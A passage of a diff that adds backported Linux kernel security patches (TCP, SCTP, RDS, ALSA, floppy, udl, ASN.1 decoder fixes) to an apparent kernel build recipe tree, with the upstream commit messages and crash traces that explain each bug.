rds_message *rm, + err: + if (page) + put_page(page); ++ rm->atomic.op_active = 0; + kfree(rm->atomic.op_notifier); + + return ret; +-- +cgit 1.2.3-1.el7 + diff --git a/recipes-kernel/linux/linux-bass/autopatcher/0489-d7141fe835dd-PATCH UPSTREAM tcp avoid collapses in tcpprunequeue if.patch b/recipes-kernel/linux/linux-bass/autopatcher/0489-d7141fe835dd-PATCH UPSTREAM tcp avoid collapses in tcpprunequeue if.patch new file mode 100644 index 0000000..38892dc --- /dev/null +++ b/recipes-kernel/linux/linux-bass/autopatcher/0489-d7141fe835dd-PATCH UPSTREAM tcp avoid collapses in tcpprunequeue if.patch @@ -0,0 +1,50 @@ +From d7141fe835dd38ffbade34db16868400ff73adde Mon Sep 17 00:00:00 2001 +From: Eric Dumazet +Date: Fri, 27 Jul 2018 12:27:06 +0200 +Subject: [PATCH] UPSTREAM: tcp: avoid collapses in tcp_prune_queue() if + possible + +[ Upstream commit f4a3313d8e2ca9fd8d8f45e40a2903ba782607e7 ] + +Right after a TCP flow is created, receiving tiny out of order +packets allways hit the condition : + +if (atomic_read(&sk->sk_rmem_alloc) >= sk->sk_rcvbuf) + tcp_clamp_window(sk); + +tcp_clamp_window() increases sk_rcvbuf to match sk_rmem_alloc +(guarded by tcp_rmem[2]) + +Calling tcp_collapse_ofo_queue() in this case is not useful, +and offers a O(N^2) surface attack to malicious peers. + +Better not attempt anything before full queue capacity is reached, +forcing attacker to spend lots of resource and allow us to more +easily detect the abuse. + +Change-Id: Ib4fabbd6f22b51fd6eea66a0f3b210543d3ebe01 +Signed-off-by: Eric Dumazet +Acked-by: Soheil Hassas Yeganeh +Acked-by: Yuchung Cheng +Signed-off-by: David S. Miller +Signed-off-by: Greg Kroah-Hartman +Signed-off-by: Greg Kroah-Hartman +Signed-off-by: Chenbo Feng +--- + net/ipv4/tcp_input.c | 3 +++ + 1 file changed, 3 insertions(+) + +diff --git a/net/ipv4/tcp_input.c b/net/ipv4/tcp_input.c +index 98841fe03ff2b..c99c31f206880 100644 +--- a/net/ipv4/tcp_input.c ++++ b/net/ipv4/tcp_input.c +@@ -4639,6 +4639,9 @@ static int tcp_prune_queue(struct sock *sk) + else if (sk_under_memory_pressure(sk)) + tp->rcv_ssthresh = min(tp->rcv_ssthresh, 4U * tp->advmss); + ++ if (atomic_read(&sk->sk_rmem_alloc) <= sk->sk_rcvbuf) ++ return 0; ++ + tcp_collapse_ofo_queue(sk); + if (!skb_queue_empty(&sk->sk_receive_queue)) + tcp_collapse(sk, &sk->sk_receive_queue, diff --git a/recipes-kernel/linux/linux-bass/autopatcher/0490-9da646e72409-PATCH UPSTREAM tcp detect malicious patterns in.patch b/recipes-kernel/linux/linux-bass/autopatcher/0490-9da646e72409-PATCH UPSTREAM tcp detect malicious patterns in.patch new file mode 100644 index 0000000..5dd5422 --- /dev/null +++ b/recipes-kernel/linux/linux-bass/autopatcher/0490-9da646e72409-PATCH UPSTREAM tcp detect malicious patterns in.patch @@ -0,0 +1,80 @@ +From 9da646e724099a0eb37d0a5d034d3d5ee8131ffe Mon Sep 17 00:00:00 2001 +From: Eric Dumazet +Date: Fri, 27 Jul 2018 12:27:07 +0200 +Subject: [PATCH] UPSTREAM: tcp: detect malicious patterns in + tcp_collapse_ofo_queue() + +[ Upstream commit 3d4bf93ac12003f9b8e1e2de37fe27983deebdcf ] + +In case an attacker feeds tiny packets completely out of order, +tcp_collapse_ofo_queue() might scan the whole rb-tree, performing +expensive copies, but not changing socket memory usage at all. + +1) Do not attempt to collapse tiny skbs. +2) Add logic to exit early when too many tiny skbs are detected. + +We prefer not doing aggressive collapsing (which copies packets) +for pathological flows, and revert to tcp_prune_ofo_queue() which +will be less expensive. + +In the future, we might add the possibility of terminating flows +that are proven to be malicious. + +Change-Id: I635a058ea387b224d1d0ac7653cc4dfc0aadab3a +Signed-off-by: Eric Dumazet +Acked-by: Soheil Hassas Yeganeh +Signed-off-by: David S. Miller +Signed-off-by: Greg Kroah-Hartman +Signed-off-by: Greg Kroah-Hartman +Signed-off-by: Chenbo Feng +--- + net/ipv4/tcp_input.c | 16 ++++++++++++++-- + 1 file changed, 14 insertions(+), 2 deletions(-) + +diff --git a/net/ipv4/tcp_input.c b/net/ipv4/tcp_input.c +index c99c31f206880..1ab7ad53c7161 100644 +--- a/net/ipv4/tcp_input.c ++++ b/net/ipv4/tcp_input.c +@@ -4553,6 +4553,7 @@ tcp_collapse(struct sock *sk, struct sk_buff_head *list, + static void tcp_collapse_ofo_queue(struct sock *sk) + { + struct tcp_sock *tp = tcp_sk(sk); ++ u32 range_truesize, sum_tiny = 0; + struct sk_buff *skb = skb_peek(&tp->out_of_order_queue); + struct sk_buff *head; + u32 start, end; +@@ -4562,6 +4563,7 @@ static void tcp_collapse_ofo_queue(struct sock *sk) + + start = TCP_SKB_CB(skb)->seq; + end = TCP_SKB_CB(skb)->end_seq; ++ range_truesize = skb->truesize; + head = skb; + + for (;;) { +@@ -4576,14 +4578,24 @@ static void tcp_collapse_ofo_queue(struct sock *sk) + if (!skb || + after(TCP_SKB_CB(skb)->seq, end) || + before(TCP_SKB_CB(skb)->end_seq, start)) { +- tcp_collapse(sk, &tp->out_of_order_queue, +- head, skb, start, end); ++ /* Do not attempt collapsing tiny skbs */ ++ if (range_truesize != head->truesize || ++ end - start >= SKB_WITH_OVERHEAD(SK_MEM_QUANTUM)) { ++ tcp_collapse(sk, &tp->out_of_order_queue, ++ head, skb, start, end); ++ } else { ++ sum_tiny += range_truesize; ++ if (sum_tiny > sk->sk_rcvbuf >> 3) ++ return; ++ } ++ + head = skb; + if (!skb) + break; + /* Start new segment */ + start = TCP_SKB_CB(skb)->seq; + end = TCP_SKB_CB(skb)->end_seq; ++ range_truesize = skb->truesize; + } else { + if (before(TCP_SKB_CB(skb)->seq, start)) + start = TCP_SKB_CB(skb)->seq; diff --git a/recipes-kernel/linux/linux-bass/autopatcher/0491-43cdd1b716b2-ACPI sbshc remove raw pointer from printk message.patch b/recipes-kernel/linux/linux-bass/autopatcher/0491-43cdd1b716b2-ACPI sbshc remove raw pointer from printk message.patch new file mode 100644 index 0000000..18078f8 --- /dev/null +++ b/recipes-kernel/linux/linux-bass/autopatcher/0491-43cdd1b716b2-ACPI sbshc remove raw pointer from printk message.patch @@ -0,0 +1,35 @@ +From 43cdd1b716b26f6af16da4e145b6578f98798bf6 Mon Sep 17 00:00:00 2001 +From: Greg Kroah-Hartman +Date: Fri, 19 Jan 2018 10:06:03 +0100 +Subject: ACPI: sbshc: remove raw pointer from printk() message + +There's no need to be printing a raw kernel pointer to the kernel log at +every boot. So just remove it, and change the whole message to use the +correct dev_info() call at the same time. + +Reported-by: Wang Qize +Cc: All applicable +Signed-off-by: Greg Kroah-Hartman +Signed-off-by: Rafael J. Wysocki +--- + drivers/acpi/sbshc.c | 4 ++-- + 1 file changed, 2 insertions(+), 2 deletions(-) + +diff --git a/drivers/acpi/sbshc.c b/drivers/acpi/sbshc.c +index 2fa8304171e0..7a3431018e0a 100644 +--- a/drivers/acpi/sbshc.c ++++ b/drivers/acpi/sbshc.c +@@ -275,8 +275,8 @@ static int acpi_smbus_hc_add(struct acpi_device *device) + device->driver_data = hc; + + acpi_ec_add_query_handler(hc->ec, hc->query_bit, NULL, smbus_alarm, hc); +- printk(KERN_INFO PREFIX "SBS HC: EC = 0x%p, offset = 0x%0x, query_bit = 0x%0x\n", +- hc->ec, hc->offset, hc->query_bit); ++ dev_info(&device->dev, "SBS HC: offset = 0x%0x, query_bit = 0x%0x\n", ++ hc->offset, hc->query_bit); + + return 0; + } +-- +cgit 1.2.3-1.el7 + diff --git a/recipes-kernel/linux/linux-bass/autopatcher/0492-b3144a38b15e-PATCH sctp verify size of a new chunk in sctpmakechunk.patch b/recipes-kernel/linux/linux-bass/autopatcher/0492-b3144a38b15e-PATCH sctp verify size of a new chunk in sctpmakechunk.patch new file mode 100644 index 0000000..f33120f --- /dev/null +++ b/recipes-kernel/linux/linux-bass/autopatcher/0492-b3144a38b15e-PATCH sctp verify size of a new chunk in sctpmakechunk.patch @@ -0,0 +1,90 @@ +From b3144a38b15e15afbce7d945c3af631e8b076416 Mon Sep 17 00:00:00 2001 +From: Alexey Kodanev +Date: Fri, 9 Feb 2018 17:35:23 +0300 +Subject: [PATCH] sctp: verify size of a new chunk in _sctp_make_chunk() + +commit 07f2c7ab6f8d0a7e7c5764c4e6cc9c52951b9d9c upstream. + +When SCTP makes INIT or INIT_ACK packet the total chunk length +can exceed SCTP_MAX_CHUNK_LEN which leads to kernel panic when +transmitting these packets, e.g. the crash on sending INIT_ACK: + +[ 597.804948] skbuff: skb_over_panic: text:00000000ffae06e4 len:120168 + put:120156 head:000000007aa47635 data:00000000d991c2de + tail:0x1d640 end:0xfec0 dev: +... +[ 597.976970] ------------[ cut here ]------------ +[ 598.033408] kernel BUG at net/core/skbuff.c:104! +[ 600.314841] Call Trace: +[ 600.345829] +[ 600.371639] ? sctp_packet_transmit+0x2095/0x26d0 [sctp] +[ 600.436934] skb_put+0x16c/0x200 +[ 600.477295] sctp_packet_transmit+0x2095/0x26d0 [sctp] +[ 600.540630] ? sctp_packet_config+0x890/0x890 [sctp] +[ 600.601781] ? __sctp_packet_append_chunk+0x3b4/0xd00 [sctp] +[ 600.671356] ? sctp_cmp_addr_exact+0x3f/0x90 [sctp] +[ 600.731482] sctp_outq_flush+0x663/0x30d0 [sctp] +[ 600.788565] ? sctp_make_init+0xbf0/0xbf0 [sctp] +[ 600.845555] ? sctp_check_transmitted+0x18f0/0x18f0 [sctp] +[ 600.912945] ? sctp_outq_tail+0x631/0x9d0 [sctp] +[ 600.969936] sctp_cmd_interpreter.isra.22+0x3be1/0x5cb0 [sctp] +[ 601.041593] ? sctp_sf_do_5_1B_init+0x85f/0xc30 [sctp] +[ 601.104837] ? sctp_generate_t1_cookie_event+0x20/0x20 [sctp] +[ 601.175436] ? sctp_eat_data+0x1710/0x1710 [sctp] +[ 601.233575] sctp_do_sm+0x182/0x560 [sctp] +[ 601.284328] ? sctp_has_association+0x70/0x70 [sctp] +[ 601.345586] ? sctp_rcv+0xef4/0x32f0 [sctp] +[ 601.397478] ? sctp6_rcv+0xa/0x20 [sctp] +... + +Here the chunk size for INIT_ACK packet becomes too big, mostly +because of the state cookie (INIT packet has large size with +many address parameters), plus additional server parameters. + +Later this chunk causes the panic in skb_put_data(): + + skb_packet_transmit() + sctp_packet_pack() + skb_put_data(nskb, chunk->skb->data, chunk->skb->len); + +'nskb' (head skb) was previously allocated with packet->size +from u16 'chunk->chunk_hdr->length'. + +As suggested by Marcelo we should check the chunk's length in +_sctp_make_chunk() before trying to allocate skb for it and +discard a chunk if its size bigger than SCTP_MAX_CHUNK_LEN. + +Change-Id: Ic769f68f5dc0fee07f13b0a6415529cc2bbc4983 +Signed-off-by: Alexey Kodanev +Acked-by: Marcelo Ricardo Leitner +Acked-by: Neil Horman +Signed-off-by: David S. Miller +[bwh: Backported to 3.16: + - Keep using WORD_ROUND() instead of SCTP_PAD4() + - Adjust context] +Signed-off-by: Ben Hutchings +--- + net/sctp/sm_make_chunk.c | 8 ++++++-- + 1 file changed, 6 insertions(+), 2 deletions(-) + +diff --git a/net/sctp/sm_make_chunk.c b/net/sctp/sm_make_chunk.c +index beedadf62f6..843a06efa06 100644 +--- a/net/sctp/sm_make_chunk.c ++++ b/net/sctp/sm_make_chunk.c +@@ -1362,10 +1362,14 @@ struct sctp_chunk *sctp_make_chunk(const struct sctp_association *asoc, + sctp_chunkhdr_t *chunk_hdr; + struct sk_buff *skb; + struct sock *sk; ++ int chunklen; ++ ++ chunklen = WORD_ROUND(sizeof(*chunk_hdr) + paylen); ++ if (chunklen > SCTP_MAX_CHUNK_LEN) ++ goto nodata; + + /* No need to allocate LL here, as this is only a chunk. */ +- skb = alloc_skb(WORD_ROUND(sizeof(sctp_chunkhdr_t) + paylen), +- GFP_ATOMIC); ++ skb = alloc_skb(chunklen, GFP_ATOMIC); + if (!skb) + goto nodata; + diff --git a/recipes-kernel/linux/linux-bass/autopatcher/0493-cd1f0cdd4715-ASoC msm qdsp6v2 check for buffer size before read.patch b/recipes-kernel/linux/linux-bass/autopatcher/0493-cd1f0cdd4715-ASoC msm qdsp6v2 check for buffer size before read.patch new file mode 100644 index 0000000..63f764d --- /dev/null +++ b/recipes-kernel/linux/linux-bass/autopatcher/0493-cd1f0cdd4715-ASoC msm qdsp6v2 check for buffer size before read.patch @@ -0,0 +1,45 @@ +From cd1f0cdd4715e8eae4066bd34df2eef4cf94bd7f Mon Sep 17 00:00:00 2001 +From: Karthikeyan Mani +Date: Tue, 6 Mar 2018 11:04:49 -0800 +Subject: ASoC: msm: qdsp6v2: check for buffer size before read + +Check for debugfs ops buf size passed before reading +to eliminate the possibility of reading out of bounds. + +Change-Id: I28fd60ce93256b6b0bad62b449092a891cc15463 +Signed-off-by: Karthikeyan Mani +--- + sound/soc/msm/qdsp6v2/q6asm.c | 10 ++++++++++ + 1 file changed, 10 insertions(+) + +diff --git a/sound/soc/msm/qdsp6v2/q6asm.c b/sound/soc/msm/qdsp6v2/q6asm.c +index 5a0378d..073cd7b 100644 +--- a/sound/soc/msm/qdsp6v2/q6asm.c ++++ b/sound/soc/msm/qdsp6v2/q6asm.c +@@ -148,6 +148,11 @@ static ssize_t audio_output_latency_dbgfs_read(struct file *file, + pr_err("%s: out_buffer is null\n", __func__); + return 0; + } ++ if (count < OUT_BUFFER_SIZE) { ++ pr_err("%s: read size %d exceeds buf size %zd\n", __func__, ++ OUT_BUFFER_SIZE, count); ++ return 0; ++ } + snprintf(out_buffer, OUT_BUFFER_SIZE, "%ld,%ld,%ld,%ld,%ld,%ld,",\ + out_cold_tv.tv_sec, out_cold_tv.tv_usec, out_warm_tv.tv_sec,\ + out_warm_tv.tv_usec, out_cont_tv.tv_sec, out_cont_tv.tv_usec); +@@ -201,6 +206,11 @@ static ssize_t audio_input_latency_dbgfs_read(struct file *file, + pr_err("%s: in_buffer is null\n", __func__); + return 0; + } ++ if (count < IN_BUFFER_SIZE) { ++ pr_err("%s: read size %d exceeds buf size %zd\n", __func__, ++ IN_BUFFER_SIZE, count); ++ return 0; ++ } + snprintf(in_buffer, IN_BUFFER_SIZE, "%ld,%ld,",\ + in_cont_tv.tv_sec, in_cont_tv.tv_usec); + return simple_read_from_buffer(buf, IN_BUFFER_SIZE, ppos, +-- +cgit v1.1 + diff --git a/recipes-kernel/linux/linux-bass/autopatcher/0494.diff b/recipes-kernel/linux/linux-bass/autopatcher/0494.diff new file mode 100644 index 0000000..3ba902c --- /dev/null +++ b/recipes-kernel/linux/linux-bass/autopatcher/0494.diff @@ -0,0 +1,27 @@ +diff --git a/drivers/power/qcom/lpm-stats.c b/drivers/power/qcom/lpm-stats.c +index 321e13c..f4f2200 100644 +--- a/drivers/power/qcom/lpm-stats.c ++++ b/drivers/power/qcom/lpm-stats.c +@@ -1,4 +1,4 @@ +-/* Copyright (c) 2012-2014, The Linux Foundation. All rights reserved. ++/* Copyright (c) 2012-2014, 2018, The Linux Foundation. All rights reserved. + * + * This program is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License version 2 and +@@ -590,11 +590,14 @@ + { + struct list_head *centry = NULL; + struct lpm_stats *pos = NULL; ++ struct lpm_stats *n = NULL; + + centry = &stats->child; +- list_for_each_entry_reverse(pos, centry, sibling) { +- if (!list_empty(&pos->child)) ++ list_for_each_entry_safe_reverse(pos, n, centry, sibling) { ++ if (!list_empty(&pos->child)) { + cleanup_stats(pos); ++ continue; ++ } + + list_del_init(&pos->child); + diff --git a/recipes-kernel/linux/linux-bass/autopatcher/0495-f3069c6d33f6-rds Fix NULL pointer dereference in rdsrdmamap.patch b/recipes-kernel/linux/linux-bass/autopatcher/0495-f3069c6d33f6-rds Fix NULL pointer dereference in rdsrdmamap.patch new file mode 100644 index 0000000..a7e79d8 --- /dev/null +++ b/recipes-kernel/linux/linux-bass/autopatcher/0495-f3069c6d33f6-rds Fix NULL pointer dereference in rdsrdmamap.patch @@ -0,0 +1,91 @@ +From f3069c6d33f6ae63a1668737bc78aaaa51bff7ca Mon Sep 17 00:00:00 2001 +From: =?UTF-8?q?H=C3=A5kon=20Bugge?= +Date: Wed, 6 Dec 2017 17:18:28 +0100 +Subject: rds: Fix NULL pointer dereference in __rds_rdma_map +MIME-Version: 1.0 +Content-Type: text/plain; charset=UTF-8 +Content-Transfer-Encoding: 8bit + +This is a fix for syzkaller719569, where memory registration was +attempted without any underlying transport being loaded. + +Analysis of the case reveals that it is the setsockopt() RDS_GET_MR +(2) and RDS_GET_MR_FOR_DEST (7) that are vulnerable. + +Here is an example stack trace when the bug is hit: + +BUG: unable to handle kernel NULL pointer dereference at 00000000000000c0 +IP: __rds_rdma_map+0x36/0x440 [rds] +PGD 2f93d03067 P4D 2f93d03067 PUD 2f93d02067 PMD 0 +Oops: 0000 [#1] SMP +Modules linked in: bridge stp llc tun rpcsec_gss_krb5 nfsv4 +dns_resolver nfs fscache rds binfmt_misc sb_edac intel_powerclamp +coretemp kvm_intel kvm irqbypass crct10dif_pclmul c rc32_pclmul +ghash_clmulni_intel pcbc aesni_intel crypto_simd glue_helper cryptd +iTCO_wdt mei_me sg iTCO_vendor_support ipmi_si mei ipmi_devintf nfsd +shpchp pcspkr i2c_i801 ioatd ma ipmi_msghandler wmi lpc_ich mfd_core +auth_rpcgss nfs_acl lockd grace sunrpc ip_tables ext4 mbcache jbd2 +mgag200 i2c_algo_bit drm_kms_helper ixgbe syscopyarea ahci sysfillrect +sysimgblt libahci mdio fb_sys_fops ttm ptp libata sd_mod mlx4_core drm +crc32c_intel pps_core megaraid_sas i2c_core dca dm_mirror +dm_region_hash dm_log dm_mod +CPU: 48 PID: 45787 Comm: repro_set2 Not tainted 4.14.2-3.el7uek.x86_64 #2 +Hardware name: Oracle Corporation ORACLE SERVER X5-2L/ASM,MOBO TRAY,2U, BIOS 31110000 03/03/2017 +task: ffff882f9190db00 task.stack: ffffc9002b994000 +RIP: 0010:__rds_rdma_map+0x36/0x440 [rds] +RSP: 0018:ffffc9002b997df0 EFLAGS: 00010202 +RAX: 0000000000000000 RBX: ffff882fa2182580 RCX: 0000000000000000 +RDX: 0000000000000000 RSI: ffffc9002b997e40 RDI: ffff882fa2182580 +RBP: ffffc9002b997e30 R08: 0000000000000000 R09: 0000000000000002 +R10: ffff885fb29e3838 R11: 0000000000000000 R12: ffff882fa2182580 +R13: ffff882fa2182580 R14: 0000000000000002 R15: 0000000020000ffc +FS: 00007fbffa20b700(0000) GS:ffff882fbfb80000(0000) knlGS:0000000000000000 +CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033 +CR2: 00000000000000c0 CR3: 0000002f98a66006 CR4: 00000000001606e0 +Call Trace: + rds_get_mr+0x56/0x80 [rds] + rds_setsockopt+0x172/0x340 [rds] + ? __fget_light+0x25/0x60 + ? __fdget+0x13/0x20 + SyS_setsockopt+0x80/0xe0 + do_syscall_64+0x67/0x1b0 + entry_SYSCALL64_slow_path+0x25/0x25 +RIP: 0033:0x7fbff9b117f9 +RSP: 002b:00007fbffa20aed8 EFLAGS: 00000293 ORIG_RAX: 0000000000000036 +RAX: ffffffffffffffda RBX: 00000000000c84a4 RCX: 00007fbff9b117f9 +RDX: 0000000000000002 RSI: 0000400000000114 RDI: 000000000000109b +RBP: 00007fbffa20af10 R08: 0000000000000020 R09: 00007fbff9dd7860 +R10: 0000000020000ffc R11: 0000000000000293 R12: 0000000000000000 +R13: 00007fbffa20b9c0 R14: 00007fbffa20b700 R15: 0000000000000021 + +Code: 41 56 41 55 49 89 fd 41 54 53 48 83 ec 18 8b 87 f0 02 00 00 48 +89 55 d0 48 89 4d c8 85 c0 0f 84 2d 03 00 00 48 8b 87 00 03 00 00 <48> +83 b8 c0 00 00 00 00 0f 84 25 03 00 0 0 48 8b 06 48 8b 56 08 + +The fix is to check the existence of an underlying transport in +__rds_rdma_map(). + +Signed-off-by: Håkon Bugge +Reported-by: syzbot +Acked-by: Santosh Shilimkar +Signed-off-by: David S. Miller +--- + net/rds/rdma.c | 2 +- + 1 file changed, 1 insertion(+), 1 deletion(-) + +diff --git a/net/rds/rdma.c b/net/rds/rdma.c +index 8886f15abe90e..bc2f1e0977d65 100644 +--- a/net/rds/rdma.c ++++ b/net/rds/rdma.c +@@ -183,7 +183,7 @@ static int __rds_rdma_map(struct rds_sock *rs, struct rds_get_mr_args *args, + long i; + int ret; + +- if (rs->rs_bound_addr == 0) { ++ if (rs->rs_bound_addr == 0 || !rs->rs_transport) { + ret = -ENOTCONN; /* XXX not a great errno */ + goto out; + } +-- +cgit 1.2.3-1.el7 + diff --git a/recipes-kernel/linux/linux-bass/autopatcher/0496-d15d662e89fc-ALSA seq Fix racy pool initializations.patch b/recipes-kernel/linux/linux-bass/autopatcher/0496-d15d662e89fc-ALSA seq Fix racy pool initializations.patch new file mode 100644 index 0000000..f2563b4 --- /dev/null +++ b/recipes-kernel/linux/linux-bass/autopatcher/0496-d15d662e89fc-ALSA seq Fix racy pool initializations.patch @@ -0,0 +1,59 @@ +From d15d662e89fc667b90cd294b0eb45694e33144da Mon Sep 17 00:00:00 2001 +From: Takashi Iwai +Date: Mon, 12 Feb 2018 15:20:51 +0100 +Subject: ALSA: seq: Fix racy pool initializations +MIME-Version: 1.0 +Content-Type: text/plain; charset=UTF-8 +Content-Transfer-Encoding: 8bit + +ALSA sequencer core initializes the event pool on demand by invoking +snd_seq_pool_init() when the first write happens and the pool is +empty. Meanwhile user can reset the pool size manually via ioctl +concurrently, and this may lead to UAF or out-of-bound accesses since +the function tries to vmalloc / vfree the buffer. + +A simple fix is to just wrap the snd_seq_pool_init() call with the +recently introduced client->ioctl_mutex; as the calls for +snd_seq_pool_init() from other side are always protected with this +mutex, we can avoid the race. + +Reported-by: 范龙飞 +Cc: +Signed-off-by: Takashi Iwai +--- + sound/core/seq/seq_clientmgr.c | 8 ++++++-- + 1 file changed, 6 insertions(+), 2 deletions(-) + +diff --git a/sound/core/seq/seq_clientmgr.c b/sound/core/seq/seq_clientmgr.c +index 60db32785f62..04d4db44fae5 100644 +--- a/sound/core/seq/seq_clientmgr.c ++++ b/sound/core/seq/seq_clientmgr.c +@@ -1003,7 +1003,7 @@ static ssize_t snd_seq_write(struct file *file, const char __user *buf, + { + struct snd_seq_client *client = file->private_data; + int written = 0, len; +- int err = -EINVAL; ++ int err; + struct snd_seq_event event; + + if (!(snd_seq_file_flags(file) & SNDRV_SEQ_LFLG_OUTPUT)) +@@ -1018,11 +1018,15 @@ static ssize_t snd_seq_write(struct file *file, const char __user *buf, + + /* allocate the pool now if the pool is not allocated yet */ + if (client->pool->size > 0 && !snd_seq_write_pool_allocated(client)) { +- if (snd_seq_pool_init(client->pool) < 0) ++ mutex_lock(&client->ioctl_mutex); ++ err = snd_seq_pool_init(client->pool); ++ mutex_unlock(&client->ioctl_mutex); ++ if (err < 0) + return -ENOMEM; + } + + /* only process whole events */ ++ err = -EINVAL; + while (count >= sizeof(struct snd_seq_event)) { + /* Read in the event header from the user */ + len = sizeof(event); +-- +cgit 1.2.3-1.el7 + diff --git a/recipes-kernel/linux/linux-bass/autopatcher/0497-65eea8edc315-floppy Do not copy a kernel pointer to user memory in FDGETPRM ioctl.patch b/recipes-kernel/linux/linux-bass/autopatcher/0497-65eea8edc315-floppy Do not copy a kernel pointer to user memory in FDGETPRM ioctl.patch new file mode 100644 index 0000000..67db4ce --- /dev/null +++ b/recipes-kernel/linux/linux-bass/autopatcher/0497-65eea8edc315-floppy Do not copy a kernel pointer to user memory in FDGETPRM ioctl.patch @@ -0,0 +1,47 @@ +From 65eea8edc315589d6c993cf12dbb5d0e9ef1fe4e Mon Sep 17 00:00:00 2001 +From: Andy Whitcroft +Date: Thu, 20 Sep 2018 09:09:48 -0600 +Subject: floppy: Do not copy a kernel pointer to user memory in FDGETPRM ioctl + +The final field of a floppy_struct is the field "name", which is a pointer +to a string in kernel memory. The kernel pointer should not be copied to +user memory. The FDGETPRM ioctl copies a floppy_struct to user memory, +including this "name" field. This pointer cannot be used by the user +and it will leak a kernel address to user-space, which will reveal the +location of kernel code and data and undermine KASLR protection. + +Model this code after the compat ioctl which copies the returned data +to a previously cleared temporary structure on the stack (excluding the +name pointer) and copy out to userspace from there. As we already have +an inparam union with an appropriate member and that memory is already +cleared even for read only calls make use of that as a temporary store. + +Based on an initial patch by Brian Belleville. + +CVE-2018-7755 +Signed-off-by: Andy Whitcroft + +Broke up long line. + +Signed-off-by: Jens Axboe +--- + drivers/block/floppy.c | 3 +++ + 1 file changed, 3 insertions(+) + +diff --git a/drivers/block/floppy.c b/drivers/block/floppy.c +index 48f622728ce6..f2b6f4da1034 100644 +--- a/drivers/block/floppy.c ++++ b/drivers/block/floppy.c +@@ -3467,6 +3467,9 @@ static int fd_locked_ioctl(struct block_device *bdev, fmode_t mode, unsigned int + (struct floppy_struct **)&outparam); + if (ret) + return ret; ++ memcpy(&inparam.g, outparam, ++ offsetof(struct floppy_struct, name)); ++ outparam = &inparam.g; + break; + case FDMSGON: + UDP->flags |= FTD_MSG; +-- +cgit 1.2.3-1.el7 + diff --git a/recipes-kernel/linux/linux-bass/autopatcher/0498-4a491b1ab11c-scsi libsas fix memory leak in sassmpgetphyevents.patch b/recipes-kernel/linux/linux-bass/autopatcher/0498-4a491b1ab11c-scsi libsas fix memory leak in sassmpgetphyevents.patch new file mode 100644 index 0000000..64ea52a --- /dev/null +++ b/recipes-kernel/linux/linux-bass/autopatcher/0498-4a491b1ab11c-scsi libsas fix memory leak in sassmpgetphyevents.patch @@ -0,0 +1,40 @@ +From 4a491b1ab11ca0556d2fda1ff1301e862a2d44c4 Mon Sep 17 00:00:00 2001 +From: Jason Yan +Date: Thu, 4 Jan 2018 21:04:31 +0800 +Subject: scsi: libsas: fix memory leak in sas_smp_get_phy_events() + +We've got a memory leak with the following producer: + +while true; +do cat /sys/class/sas_phy/phy-1:0:12/invalid_dword_count >/dev/null; +done + +The buffer req is allocated and not freed after we return. Fix it. + +Fixes: 2908d778ab3e ("[SCSI] aic94xx: new driver") +Signed-off-by: Jason Yan +CC: John Garry +CC: chenqilin +CC: chenxiang +Reviewed-by: Christoph Hellwig +Reviewed-by: Hannes Reinecke +Signed-off-by: Martin K. Petersen +--- + drivers/scsi/libsas/sas_expander.c | 1 + + 1 file changed, 1 insertion(+) + +diff --git a/drivers/scsi/libsas/sas_expander.c b/drivers/scsi/libsas/sas_expander.c +index ca1566237ae7..1de59c0fdbc0 100644 +--- a/drivers/scsi/libsas/sas_expander.c ++++ b/drivers/scsi/libsas/sas_expander.c +@@ -695,6 +695,7 @@ int sas_smp_get_phy_events(struct sas_phy *phy) + phy->phy_reset_problem_count = scsi_to_u32(&resp[24]); + + out: ++ kfree(req); + kfree(resp); + return res; + +-- +cgit 1.2.3-1.el7 + diff --git a/recipes-kernel/linux/linux-bass/autopatcher/0499-3b82a4db8eac-drm udl Properly check framebuffer mmap offsets.patch b/recipes-kernel/linux/linux-bass/autopatcher/0499-3b82a4db8eac-drm udl Properly check framebuffer mmap offsets.patch new file mode 100644 index 0000000..48c2b41 --- /dev/null +++ b/recipes-kernel/linux/linux-bass/autopatcher/0499-3b82a4db8eac-drm udl Properly check framebuffer mmap offsets.patch @@ -0,0 +1,43 @@ +From 3b82a4db8eaccce735dffd50b4d4e1578099b8e8 Mon Sep 17 00:00:00 2001 +From: Greg Kroah-Hartman +Date: Wed, 21 Mar 2018 16:45:53 +0100 +Subject: drm: udl: Properly check framebuffer mmap offsets + +The memmap options sent to the udl framebuffer driver were not being +checked for all sets of possible crazy values. Fix this up by properly +bounding the allowed values. + +Reported-by: Eyal Itkin +Cc: stable +Signed-off-by: Greg Kroah-Hartman +Signed-off-by: Daniel Vetter +Link: https://patchwork.freedesktop.org/patch/msgid/20180321154553.GA18454@kroah.com +--- + drivers/gpu/drm/udl/udl_fb.c | 9 +++++++-- + 1 file changed, 7 insertions(+), 2 deletions(-) + +diff --git a/drivers/gpu/drm/udl/udl_fb.c b/drivers/gpu/drm/udl/udl_fb.c +index b5b335c9b2bbe..2ebdc6d5a76e6 100644 +--- a/drivers/gpu/drm/udl/udl_fb.c ++++ b/drivers/gpu/drm/udl/udl_fb.c +@@ -159,10 +159,15 @@ static int udl_fb_mmap(struct fb_info *info, struct vm_area_struct *vma) + { + unsigned long start = vma->vm_start; + unsigned long size = vma->vm_end - vma->vm_start; +- unsigned long offset = vma->vm_pgoff << PAGE_SHIFT; ++ unsigned long offset; + unsigned long page, pos; + +- if (offset + size > info->fix.smem_len) ++ if (vma->vm_pgoff > (~0UL >> PAGE_SHIFT)) ++ return -EINVAL; ++ ++ offset = vma->vm_pgoff << PAGE_SHIFT; ++ ++ if (offset > info->fix.smem_len || size > info->fix.smem_len - offset) + return -EINVAL; + + pos = (unsigned long)info->fix.smem_start + offset; +-- +cgit 1.2.3-1.el7 + diff --git a/recipes-kernel/linux/linux-bass/autopatcher/0500.diff b/recipes-kernel/linux/linux-bass/autopatcher/0500.diff new file mode 100644 index 0000000..4694cb9 --- /dev/null +++ b/recipes-kernel/linux/linux-bass/autopatcher/0500.diff @@ -0,0 +1,14 @@ +diff --git a/lib/asn1_decoder.c b/lib/asn1_decoder.c +index a0c9578..762d152 100644 +--- a/lib/asn1_decoder.c ++++ b/lib/asn1_decoder.c +@@ -283,6 +283,9 @@ + if (unlikely(len > datalen - dp)) + goto data_overrun_error; + } ++ } else { ++ if (unlikely(len > datalen - dp)) ++ goto data_overrun_error; + } + + if (flags & FLAG_CONS) { diff --git a/recipes-kernel/linux/linux-bass/autopatcher/0501.diff b/recipes-kernel/linux/linux-bass/autopatcher/0501.diff new file 